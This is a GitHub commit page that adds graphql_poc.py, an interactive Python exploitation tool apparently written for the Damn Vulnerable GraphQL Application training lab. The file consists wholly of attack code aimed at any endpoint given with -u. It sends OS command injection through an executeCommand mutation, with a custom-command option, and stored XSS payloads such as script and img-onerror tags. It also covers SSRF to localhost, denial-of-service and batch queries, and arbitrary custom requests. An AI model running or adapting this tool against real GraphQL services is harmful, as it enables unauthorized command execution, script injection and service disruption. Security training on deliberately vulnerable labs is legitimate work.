Skip to content

Commit 93c0db0

Browse files
authored
Add files via upload
1 parent 7a41c25 commit 93c0db0

File tree

1 file changed

+245
-0
lines changed

1 file changed

+245
-0
lines changed

graphql_poc.py

+245
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,245 @@
1+
import requests
2+
import json
3+
import argparse
4+
import time
5+
from colorama import Fore, Style, init
6+
7+
# Initialize colorama
8+
init(autoreset=True)
9+
10+
def send_request(url, body, proxy=None):
11+
""" Send a request to the GraphQL endpoint through a proxy if provided. """
12+
try:
13+
start_time = time.time() # Start time for measuring response time
14+
response = requests.post(url, json=body, proxies=proxy)
15+
response.raise_for_status() # Raise an error for bad responses
16+
elapsed_time = time.time() - start_time
17+
print(Fore.BLUE + f"Response Time: {elapsed_time:.2f} seconds")
18+
return response
19+
except requests.exceptions.RequestException as e:
20+
print(Fore.RED + f"Request failed: {e}")
21+
return None
22+
23+
def introspection_query(url, proxy=None):
24+
""" Perform a GraphQL introspection query to discover the schema. """
25+
query = '''
26+
{
27+
__schema {
28+
types {
29+
name
30+
}
31+
}
32+
}
33+
'''
34+
body = {'query': query}
35+
response = send_request(url, body, proxy)
36+
print(Fore.GREEN + "Introspection Query Response:")
37+
print(json.dumps(response.json(), indent=2))
38+
39+
def batch_query_attack(url, proxy=None):
40+
""" Perform a batch query attack by sending multiple queries. """
41+
queries = [
42+
'{ query1 { field1 } }',
43+
'{ query2 { field2 } }',
44+
'{ query3 { field3 } }',
45+
'{ users { id name } }'
46+
]
47+
48+
for query in queries:
49+
body = {'query': query}
50+
response = send_request(url, body, proxy)
51+
print(Fore.GREEN + f"Response for {query}: {response.status_code}")
52+
53+
def os_command_injection(url, proxy=None):
54+
""" Test for OS Command Injection vulnerabilities. """
55+
print(Fore.YELLOW + "Select an OS Command Injection payload:")
56+
print("1. whoami")
57+
print("2. id")
58+
print("3. ls -la")
59+
print("4. Custom Command")
60+
61+
choice = input("Enter your choice (1-4): ")
62+
63+
if choice == "1":
64+
command = "whoami"
65+
elif choice == "2":
66+
command = "id"
67+
elif choice == "3":
68+
command = "ls -la"
69+
elif choice == "4":
70+
command = input("Enter your custom command: ")
71+
else:
72+
print(Fore.RED + "Invalid choice.")
73+
return
74+
75+
query = f'''
76+
mutation {{
77+
executeCommand(input: "{command}")
78+
}}
79+
'''
80+
body = {'query': query}
81+
response = send_request(url, body, proxy)
82+
print(Fore.GREEN + "OS Command Injection Response:")
83+
print(json.dumps(response.json(), indent=2))
84+
85+
def stored_xss(url, proxy=None):
86+
""" Test for Stored Cross-Site Scripting (XSS) vulnerabilities. """
87+
print(Fore.YELLOW + "Select a Stored XSS payload:")
88+
print("1. <script>alert('XSS')</script>")
89+
print("2. <img src=x onerror=alert('XSS')>")
90+
print("3. Custom Payload")
91+
92+
choice = input("Enter your choice (1-3): ")
93+
94+
if choice == "1":
95+
payload = "<script>alert('XSS')</script>"
96+
elif choice == "2":
97+
payload = "<img src=x onerror=alert('XSS')>"
98+
elif choice == "3":
99+
payload = input("Enter your custom XSS payload: ")
100+
else:
101+
print(Fore.RED + "Invalid choice.")
102+
return
103+
104+
query = f'''
105+
mutation {{
106+
createPost(input: {{ content: "{payload}" }}) {{
107+
id
108+
}}
109+
}}
110+
'''
111+
body = {'query': query}
112+
response = send_request(url, body, proxy)
113+
print(Fore.GREEN + "Stored XSS Response:")
114+
print(json.dumps(response.json(), indent=2))
115+
116+
def resource_intensive_query(url, proxy=None):
117+
""" Test a resource-intensive query. """
118+
query = '''
119+
{
120+
users {
121+
id
122+
name
123+
friends {
124+
name
125+
}
126+
}
127+
}
128+
'''
129+
body = {'query': query}
130+
response = send_request(url, body, proxy)
131+
print(Fore.GREEN + "Resource Intensive Query Response:")
132+
print(json.dumps(response.json(), indent=2))
133+
134+
def denial_of_service_attack(url, proxy=None):
135+
""" Test for Denial of Service by sending a large query. """
136+
query = '''
137+
{
138+
largeDataSet {
139+
id
140+
value
141+
}
142+
}
143+
'''
144+
body = {'query': query}
145+
response = send_request(url, body, proxy)
146+
print(Fore.GREEN + "Denial of Service Attack Response:")
147+
print(response.status_code)
148+
149+
def field_duplication_attack(url, proxy=None):
150+
""" Test for field duplication in a query. """
151+
query = '''
152+
{
153+
user {
154+
name
155+
name # Duplicate field
156+
age
157+
}
158+
}
159+
'''
160+
body = {'query': query}
161+
response = send_request(url, body, proxy)
162+
print(Fore.GREEN + "Field Duplication Attack Response:")
163+
print(json.dumps(response.json(), indent=2))
164+
165+
def server_side_request_forgery(url, proxy=None):
166+
""" Test for Server-Side Request Forgery (SSRF). """
167+
payload = "http://localhost:8080" # Example internal URL
168+
query = f'''
169+
{{
170+
internalService(url: "{payload}") {{
171+
response
172+
}}
173+
}}
174+
'''
175+
body = {'query': query}
176+
response = send_request(url, body, proxy)
177+
print(Fore.GREEN + "Server Side Request Forgery Response:")
178+
print(json.dumps(response.json(), indent=2))
179+
180+
def main():
181+
print(Fore.CYAN + "Acyber Team Developer")
182+
print(Fore.CYAN + "Automatic PoC For Damn Vulnerable GraphQL Application")
183+
184+
185+
parser = argparse.ArgumentParser(description="GraphQL Exploitation PoC Tool")
186+
parser.add_argument("-u", "--url", type=str, required=True, help="GraphQL endpoint URL")
187+
parser.add_argument("-p", "--proxy", type=str, help="Proxy URL (e.g., http://127.0.0.1:8080)")
188+
189+
args = parser.parse_args()
190+
191+
graphql_url = args.url
192+
proxy = None
193+
194+
if args.proxy:
195+
proxy = {
196+
"http": args.proxy,
197+
"https": args.proxy,
198+
}
199+
200+
print("Select an attack type:")
201+
print("1. GraphQL Introspection")
202+
print("2. Batch Query Attack")
203+
print("3. OS Command Injection")
204+
print("4. Stored Cross-Site Scripting (XSS)")
205+
print("5. Resource Intensive Query")
206+
print("6. Denial of Service Attack")
207+
print("7. Field Duplication Attack")
208+
print("8. Server Side Request Forgery (SSRF)")
209+
print("9. Custom GraphQL Request")
210+
211+
choice = input("Enter your choice (1-9): ")
212+
213+
if choice == "1":
214+
introspection_query(graphql_url, proxy)
215+
elif choice == "2":
216+
batch_query_attack(graphql_url, proxy)
217+
elif choice == "3":
218+
os_command_injection(graphql_url, proxy)
219+
elif choice == "4":
220+
stored_xss(graphql_url, proxy)
221+
elif choice == "5":
222+
resource_intensive_query(graphql_url, proxy)
223+
elif choice == "6":
224+
denial_of_service_attack(graphql_url, proxy)
225+
elif choice == "7":
226+
field_duplication_attack(graphql_url, proxy)
227+
elif choice == "8":
228+
server_side_request_forgery(graphql_url, proxy)
229+
elif choice == "9":
230+
print("Enter the body of the GraphQL request as JSON:")
231+
print("Example: { 'query': '{ users { id name } }', 'variables': {} }")
232+
body_input = input("Enter JSON body: ")
233+
234+
try:
235+
body = json.loads(body_input)
236+
response = send_request(graphql_url, body, proxy)
237+
print("Custom Request Response:")
238+
print(json.dumps(response.json(), indent=2))
239+
except json.JSONDecodeError:
240+
print(Fore.RED + "Invalid JSON format. Please enter valid JSON.")
241+
else:
242+
print(Fore.RED + "Invalid choice. Please select a valid option.")
243+
244+
if __name__ == "__main__":
245+
main()

0 commit comments

Comments
 (0)